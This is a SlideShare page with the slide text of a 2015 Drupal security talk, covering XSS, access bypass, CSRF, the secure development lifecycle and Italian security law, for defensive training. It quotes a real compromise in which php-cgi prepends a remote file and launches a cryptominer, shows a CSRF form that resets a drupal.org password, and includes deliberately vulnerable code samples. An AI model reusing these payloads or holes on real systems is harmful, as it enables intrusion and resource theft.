SlideShare a Scribd company logo
© Ibuildings 2014/2015 - All rights reserved
#DrupalDaysEU
Secure Drupal
From start to finish
© Ibuildings 2014/2015 - All rights reserved
Speaker Info
Boy Baukema
Security Specialist
boy@ibuildings.nl
@relaxnow
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
• Security Specialist
• R&D Security
• Internal & External
• Security Training
• Consulting
• Security Audits
A Security what?
© Ibuildings 2014/2015 - All rights reserved
This is the Talk Title and it could be very long,
for example on two lines or more
© Ibuildings 2014/2015 - All rights reserved
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
Gold Sponsors
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
/usr/sbin/apache2	
  -­‐k	
  start	
  
	
  _	
  /usr/sbin/apache2	
  -­‐k	
  start	
  
	
  	
  _	
  /usr/local/php539/bin/php-­‐cgi	
  	
  
	
  	
  	
  	
  	
  -­‐dauto_prepend_file=http://XXX.XXX.XXX.XXX/
one.txt	
  	
  
	
  	
  	
  	
  	
  -­‐dallow_url_include=on	
  
	
  	
  	
  	
  	
  	
  _	
  sh	
  -­‐c	
  /tmp/sh.sh	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  _	
  ./minerd	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  -­‐a	
  scrypt	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  -­‐o	
  stratum+tcp://multi.ghash.io:3333	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  -­‐u	
  lscllc.worker16	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  -­‐p	
  x
Such hacked. Much coins.
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
[20:51:04]	
  root@bal-­‐XXXX.prod:/var/log/nginx#	
  
zgrep	
  "POST	
  /	
  HTTP/1.1"	
  access.log	
  |	
  egrep	
  -­‐o	
  
'forwarded_for="[^s,"]+?'	
  |	
  cut	
  -­‐d'"'	
  -­‐f2	
  |	
  
sort	
  |	
  uniq	
  -­‐c	
  |	
  sort	
  -­‐nr	
  |	
  head	
  -­‐30	
  
	
  	
  	
  2112	
  104.130.25.XXX	
  
	
  	
  	
  1144	
  37.221.162.XXX	
  
	
  	
  	
  1067	
  185.13.37.XXX	
  
	
  	
  	
  1066	
  77.247.181.XXX	
  
	
  	
  	
  1058	
  77.109.141.XXX	
  
	
  	
  	
  1047	
  5.135.158.XXX	
  
	
  	
  	
  1042	
  178.175.139.XXX
HTTP Flood
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
Gold Sponsors
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
• Drupal Top 3

• Secure Development Lifecycle

• The Law
The Plan
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
/includes/database/database.inc
© Ibuildings 2014/2015 - All rights reserved
This is the Talk Title and it could be very long,
for example on two lines or more
Source: http://drupalsecurityreport.org/sites/g/files/g598426/f/
201403/drupal-security-whitepaper-1-3.pdf
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
/**
* Preprocess function to replace the regular label with the
* display label
*/
function field_display_label_preprocess_field(&$variables) {
$field = field_info_instance(...);
if (
isset($field['display_label']) &&
strlen(trim($field['display_label'])) > 0
) {
$variables['label'] = $field['display_label'];
1. XSS
From: http://cgit.drupalcode.org/field_display_label/tree/field_display_label.module?
id=e7f54e1ee44cd6f0fdbc16ac81f2cfb13f3d3d67
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
1. drupal_set_message
2. l
3. watchdog
Which function(s) should receive check_plain() content
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
1. drupal_set_message
2. l
3. watchdog
Which function(s) should receive check_plain() content
Use t('@') syntax!
$text = t(
"@name's blog",
[ '@name' => format_username($account) ]
);
© Ibuildings 2014/2015 - All rights reserved
Filter Input
As early as possible
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
$_GET, $_POST, $_REQUEST, $_COOKIE,
$_SERVER, $_FILES, $argv
everything from the database

$form_state (mostly ['input'])
arg
drupal_get_query_parameters
drupal_current_script_url
drupal_detect_baseurl
request_path
What is input?
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
Sanitize:
$id = (int) arg(1);
$accountEnabled = (bool) arg(1);
Validate:

Form validators
in_array()
mb_strlen() > 1024
url_is_external
valid_url
Filter / Sanitize / Validate
© Ibuildings 2014/2015 - All rights reserved
Encode Output
As late as possible
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
Gold Sponsors
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
// This is to be accessible to all users,
// so 'access callback' can be set
// to TRUE, meaning that we should
// bypass all access checks.
'access callback' => TRUE,
2. Access Bypass
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
global $user;
if ($user->uid = 1) {
watchdog('mymodule', request_uri());
}
A disturbance in the force
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
• IDE / code sniffer (coder tools)
• if (1 = $uid)
• === instead of ==
• user_uid_optional_load($uid = NULL)
Avoiding accidental assign
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
<form

action="http://mysite.com/contact"

method="post"

/>
3. Cross Site Request Forgery
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
<form

action="https://www.drupal.org/user/2457520/edit"

method="post">

<input type="hidden"

name="pass[pass1]" 

value="hacked1" 

/>
3. Cross Site Request Forgery
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
<script>

$('#contactform').submit();

</script>
3. Cross Site Request Forgery
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
Gold Sponsors
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
=> drupal_get_token
<= drupal_valid_token
Drupal Forms to the rescue!
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
• Authentication / Session
• Arbitrary Code Execution
• Denial of Service
• Information Disclosure
• Logic error
• Open Redirect
• Password Protection Bypass
• Session Fixation
• SQL Injection
• ....
4. Others
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
Gold Sponsors
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
Gold Sponsors
© Ibuildings 2014/2015 - All rights reserved
This is the Talk Title and it could be very long,
for example on two lines or more
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
1. Education & Guidance
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
• Threat Assessment

• Security Requirements

2. Design time security
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
• Architecture Review

• Code Review
3. Security Review
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
4. Security Testing
The OWASP Application Security
Verification Standard (ASVS) Project
provides a basis for testing web
application technical security
controls.
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
• Identify third party dependencies
• ... follow their Security Mailinglists
• Make rebuilding painless.
• Make redeploying painless.
• Backup & restore from backup 'regularly'
5. Vulnerability Management
© Ibuildings 2014/2015 - All rights reserved
This is the Talk Title and it could be very long,
for example on two lines or more
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
Gold Sponsors
© Ibuildings 2014/2015 - All rights reserved
The Law
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
the penalty for failure to adopt the minimum measures is
that of Article 169 of the Code 

(imprisonment up to two years);
damages -the manager has the burden of proof that he
took all that was possible to avoid the damage, referring to
appropriate practice known techniques of computer
security , while the victim must only prove the existence of
damage.
Misure minime di sicurezza
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
• Individually associated accounts
• > 8 character passwords
• Changed every 3 to 6 months
• Do not leave admin unattended
• Privileges on need to know basis
• Verify privileges at least yearly
• Update at least every 6 months
• Backup data at least weekly
Disciplinare tecnico
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
Gold Sponsors
Bob's Story
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
Responsible
Disclosure
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
• Know your law
• Think like an attacker
• ... but don't become one (without permission)
• Make sure white hats have a place to go
• Filter Input, Encode Output
• Train your developers
• Design with security in mind
• Review and be critical
• Trust but verify that you are secure
• Perform active automated maintenance
In summary
#DrupalDaysEU
© Ibuildings 2014/2015 - All rights reserved
• http://www.slideshare.net/relaxnow/drupaldays-2015
• http://crackingdrupal.com
• http://drupalsecurityreport.com
• http://drupal.org/writing-secure-code
• http://owasp.org
• OWASP ASVS
The End

More Related Content

PDF
Verifying Drupal modules with OWASP ASVS 2014
PDF
Verifying Drupal modules with OWASP ASVS 2014 (European Drupal Days 2015)
PDF
Secure Drupal, from start to finish (European Drupal Days 2015)
PPTX
Hands on workshop on word press
PDF
Bridging the gap between business and technology - Behaviour Driven Developme...
PDF
Drupal for Big Data - is it ready? (European Drupal Days 2015)
PDF
Performance on a budget (European Drupal Days 2015)
PDF
Optimizing MariaDB for Web Applications (European Drupal Days 2015)
Verifying Drupal modules with OWASP ASVS 2014
Verifying Drupal modules with OWASP ASVS 2014 (European Drupal Days 2015)
Secure Drupal, from start to finish (European Drupal Days 2015)
Hands on workshop on word press
Bridging the gap between business and technology - Behaviour Driven Developme...
Drupal for Big Data - is it ready? (European Drupal Days 2015)
Performance on a budget (European Drupal Days 2015)
Optimizing MariaDB for Web Applications (European Drupal Days 2015)

Similar to Secure Drupal, from start to finish (20)

PDF
A Practical Introduction to Symfony (European Drupal Days 2015)
PDF
Doing Drupal security right
PDF
Best Practices with CA Workload Automation AutoSys (AE)
PDF
PhpStorm for Drupal Development (European Drupal Days 2015)
PDF
Drupal Continuous Integration (European Drupal Days 2015)
PDF
Drupal security
PDF
Another Copernican Revolution: maintenance first, projects second (European D...
PDF
Drupal Security from Drupalcamp Bratislava
PDF
Hong Kong Drupal User Group - Nov 8th
PDF
Hong kong drupal user group nov 8th - drupal 7.32 security vulnerability
PDF
Hong kong drupal user group nov 8th - drupal 7.32 security vulnerability
PDF
Prospectus: Cloud, Mobility and Interopability - AMIK Bandung Sept 2013
PPTX
Database as a Service, Collaborate 2016
PDF
Java Web Application Security - Denver JUG 2013
PDF
Mechsoft products services
PDF
PHP SuperGlobals: Supersized Trouble
PDF
Pentest 101 @ Mahanakorn Network Research Laboratory
PDF
Doing Drupal security right from Drupalcon London
PPTX
Stackato Presentation Techzone 2013
PDF
Web Security... Level Up
A Practical Introduction to Symfony (European Drupal Days 2015)
Doing Drupal security right
Best Practices with CA Workload Automation AutoSys (AE)
PhpStorm for Drupal Development (European Drupal Days 2015)
Drupal Continuous Integration (European Drupal Days 2015)
Drupal security
Another Copernican Revolution: maintenance first, projects second (European D...
Drupal Security from Drupalcamp Bratislava
Hong Kong Drupal User Group - Nov 8th
Hong kong drupal user group nov 8th - drupal 7.32 security vulnerability
Hong kong drupal user group nov 8th - drupal 7.32 security vulnerability
Prospectus: Cloud, Mobility and Interopability - AMIK Bandung Sept 2013
Database as a Service, Collaborate 2016
Java Web Application Security - Denver JUG 2013
Mechsoft products services
PHP SuperGlobals: Supersized Trouble
Pentest 101 @ Mahanakorn Network Research Laboratory
Doing Drupal security right from Drupalcon London
Stackato Presentation Techzone 2013
Web Security... Level Up
Ad

More from Boy Baukema (12)

PPTX
Security horrors
PPTX
Tampering with JavaScript
PDF
Code by the sea: Web Application Security
PDF
Ibuildings ISO 27001 lunchbox
PDF
OWASP ASVS 3 - What's new for level 1?
PDF
Security as a part of quality assurance
PDF
Recursive descent parsing
PDF
Dpc14 security as part of Quality Assurance
PDF
SURFconext and Mobile
PDF
WebAppSec @ Ibuildings in 2014
KEY
Let's build a parser!
PDF
Javascript: 8 Reasons Every PHP Developer Should Love It
Security horrors
Tampering with JavaScript
Code by the sea: Web Application Security
Ibuildings ISO 27001 lunchbox
OWASP ASVS 3 - What's new for level 1?
Security as a part of quality assurance
Recursive descent parsing
Dpc14 security as part of Quality Assurance
SURFconext and Mobile
WebAppSec @ Ibuildings in 2014
Let's build a parser!
Javascript: 8 Reasons Every PHP Developer Should Love It
Ad

Recently uploaded (20)

PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Empathic Computing: Creating Shared Understanding
PDF
Univ-Connecticut-ChatGPT-Presentaion.pdf
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
NewMind AI Weekly Chronicles - August'25-Week II
PPTX
Spectroscopy.pptx food analysis technology
PPTX
OMC Textile Division Presentation 2021.pptx
PDF
Encapsulation theory and applications.pdf
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PPTX
TLE Review Electricity (Electricity).pptx
PPTX
Tartificialntelligence_presentation.pptx
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Heart disease approach using modified random forest and particle swarm optimi...
PDF
August Patch Tuesday
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Assigned Numbers - 2025 - Bluetooth® Document
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Approach and Philosophy of On baking technology
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Empathic Computing: Creating Shared Understanding
Univ-Connecticut-ChatGPT-Presentaion.pdf
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
NewMind AI Weekly Chronicles - August'25-Week II
Spectroscopy.pptx food analysis technology
OMC Textile Division Presentation 2021.pptx
Encapsulation theory and applications.pdf
Advanced methodologies resolving dimensionality complications for autism neur...
TLE Review Electricity (Electricity).pptx
Tartificialntelligence_presentation.pptx
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
Diabetes mellitus diagnosis method based random forest with bat algorithm
Heart disease approach using modified random forest and particle swarm optimi...
August Patch Tuesday
Encapsulation_ Review paper, used for researhc scholars
Assigned Numbers - 2025 - Bluetooth® Document
Building Integrated photovoltaic BIPV_UPV.pdf
Approach and Philosophy of On baking technology

Secure Drupal, from start to finish

  • 1. © Ibuildings 2014/2015 - All rights reserved #DrupalDaysEU Secure Drupal From start to finish
  • 2. © Ibuildings 2014/2015 - All rights reserved Speaker Info Boy Baukema Security Specialist boy@ibuildings.nl @relaxnow
  • 3. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved • Security Specialist • R&D Security • Internal & External • Security Training • Consulting • Security Audits A Security what?
  • 4. © Ibuildings 2014/2015 - All rights reserved This is the Talk Title and it could be very long, for example on two lines or more
  • 5. © Ibuildings 2014/2015 - All rights reserved
  • 6. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved Gold Sponsors
  • 7. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved /usr/sbin/apache2  -­‐k  start    _  /usr/sbin/apache2  -­‐k  start      _  /usr/local/php539/bin/php-­‐cgi              -­‐dauto_prepend_file=http://XXX.XXX.XXX.XXX/ one.txt              -­‐dallow_url_include=on              _  sh  -­‐c  /tmp/sh.sh                      _  ./minerd                              -­‐a  scrypt                              -­‐o  stratum+tcp://multi.ghash.io:3333                              -­‐u  lscllc.worker16                              -­‐p  x Such hacked. Much coins.
  • 8. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved [20:51:04]  root@bal-­‐XXXX.prod:/var/log/nginx#   zgrep  "POST  /  HTTP/1.1"  access.log  |  egrep  -­‐o   'forwarded_for="[^s,"]+?'  |  cut  -­‐d'"'  -­‐f2  |   sort  |  uniq  -­‐c  |  sort  -­‐nr  |  head  -­‐30        2112  104.130.25.XXX        1144  37.221.162.XXX        1067  185.13.37.XXX        1066  77.247.181.XXX        1058  77.109.141.XXX        1047  5.135.158.XXX        1042  178.175.139.XXX HTTP Flood
  • 9. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved Gold Sponsors
  • 10. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved • Drupal Top 3
 • Secure Development Lifecycle
 • The Law The Plan
  • 11. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved // to expand it out into a comma-delimited set of placeholders. foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); foreach ($data as $i => $value) { // This assumes that there are no other placeholders that use the same // name. For example, if the array placeholder is defined as :example // and there is already an :example_2 placeholder, this will generate /includes/database/database.inc
  • 12. © Ibuildings 2014/2015 - All rights reserved This is the Talk Title and it could be very long, for example on two lines or more Source: http://drupalsecurityreport.org/sites/g/files/g598426/f/ 201403/drupal-security-whitepaper-1-3.pdf
  • 13. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved /** * Preprocess function to replace the regular label with the * display label */ function field_display_label_preprocess_field(&$variables) { $field = field_info_instance(...); if ( isset($field['display_label']) && strlen(trim($field['display_label'])) > 0 ) { $variables['label'] = $field['display_label']; 1. XSS From: http://cgit.drupalcode.org/field_display_label/tree/field_display_label.module? id=e7f54e1ee44cd6f0fdbc16ac81f2cfb13f3d3d67
  • 14. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved 1. drupal_set_message 2. l 3. watchdog Which function(s) should receive check_plain() content
  • 15. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved 1. drupal_set_message 2. l 3. watchdog Which function(s) should receive check_plain() content Use t('@') syntax! $text = t( "@name's blog", [ '@name' => format_username($account) ] );
  • 16. © Ibuildings 2014/2015 - All rights reserved Filter Input As early as possible
  • 17. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved $_GET, $_POST, $_REQUEST, $_COOKIE, $_SERVER, $_FILES, $argv everything from the database
 $form_state (mostly ['input']) arg drupal_get_query_parameters drupal_current_script_url drupal_detect_baseurl request_path What is input?
  • 18. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved Sanitize: $id = (int) arg(1); $accountEnabled = (bool) arg(1); Validate:
 Form validators in_array() mb_strlen() > 1024 url_is_external valid_url Filter / Sanitize / Validate
  • 19. © Ibuildings 2014/2015 - All rights reserved Encode Output As late as possible
  • 20. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved Gold Sponsors
  • 21. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved // This is to be accessible to all users, // so 'access callback' can be set // to TRUE, meaning that we should // bypass all access checks. 'access callback' => TRUE, 2. Access Bypass
  • 22. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved global $user; if ($user->uid = 1) { watchdog('mymodule', request_uri()); } A disturbance in the force
  • 23. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved • IDE / code sniffer (coder tools) • if (1 = $uid) • === instead of == • user_uid_optional_load($uid = NULL) Avoiding accidental assign
  • 24. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved <form
 action="http://mysite.com/contact"
 method="post"
 /> 3. Cross Site Request Forgery
  • 25. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved <form
 action="https://www.drupal.org/user/2457520/edit"
 method="post">
 <input type="hidden"
 name="pass[pass1]" 
 value="hacked1" 
 /> 3. Cross Site Request Forgery
  • 26. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved <script>
 $('#contactform').submit();
 </script> 3. Cross Site Request Forgery
  • 27. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved Gold Sponsors
  • 28. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved => drupal_get_token <= drupal_valid_token Drupal Forms to the rescue!
  • 29. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved • Authentication / Session • Arbitrary Code Execution • Denial of Service • Information Disclosure • Logic error • Open Redirect • Password Protection Bypass • Session Fixation • SQL Injection • .... 4. Others
  • 30. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved Gold Sponsors
  • 31. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved Gold Sponsors
  • 32. © Ibuildings 2014/2015 - All rights reserved This is the Talk Title and it could be very long, for example on two lines or more
  • 33. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved 1. Education & Guidance
  • 34. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved • Threat Assessment
 • Security Requirements
 2. Design time security
  • 35. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved • Architecture Review
 • Code Review 3. Security Review
  • 36. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved 4. Security Testing The OWASP Application Security Verification Standard (ASVS) Project provides a basis for testing web application technical security controls.
  • 37. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved • Identify third party dependencies • ... follow their Security Mailinglists • Make rebuilding painless. • Make redeploying painless. • Backup & restore from backup 'regularly' 5. Vulnerability Management
  • 38. © Ibuildings 2014/2015 - All rights reserved This is the Talk Title and it could be very long, for example on two lines or more
  • 39. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved Gold Sponsors
  • 40. © Ibuildings 2014/2015 - All rights reserved The Law
  • 41. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved the penalty for failure to adopt the minimum measures is that of Article 169 of the Code 
 (imprisonment up to two years); damages -the manager has the burden of proof that he took all that was possible to avoid the damage, referring to appropriate practice known techniques of computer security , while the victim must only prove the existence of damage. Misure minime di sicurezza
  • 42. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved • Individually associated accounts • > 8 character passwords • Changed every 3 to 6 months • Do not leave admin unattended • Privileges on need to know basis • Verify privileges at least yearly • Update at least every 6 months • Backup data at least weekly Disciplinare tecnico
  • 43. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved Gold Sponsors Bob's Story
  • 44. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved Responsible Disclosure
  • 45. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved • Know your law • Think like an attacker • ... but don't become one (without permission) • Make sure white hats have a place to go • Filter Input, Encode Output • Train your developers • Design with security in mind • Review and be critical • Trust but verify that you are secure • Perform active automated maintenance In summary
  • 46. #DrupalDaysEU © Ibuildings 2014/2015 - All rights reserved • http://www.slideshare.net/relaxnow/drupaldays-2015 • http://crackingdrupal.com • http://drupalsecurityreport.com • http://drupal.org/writing-secure-code • http://owasp.org • OWASP ASVS The End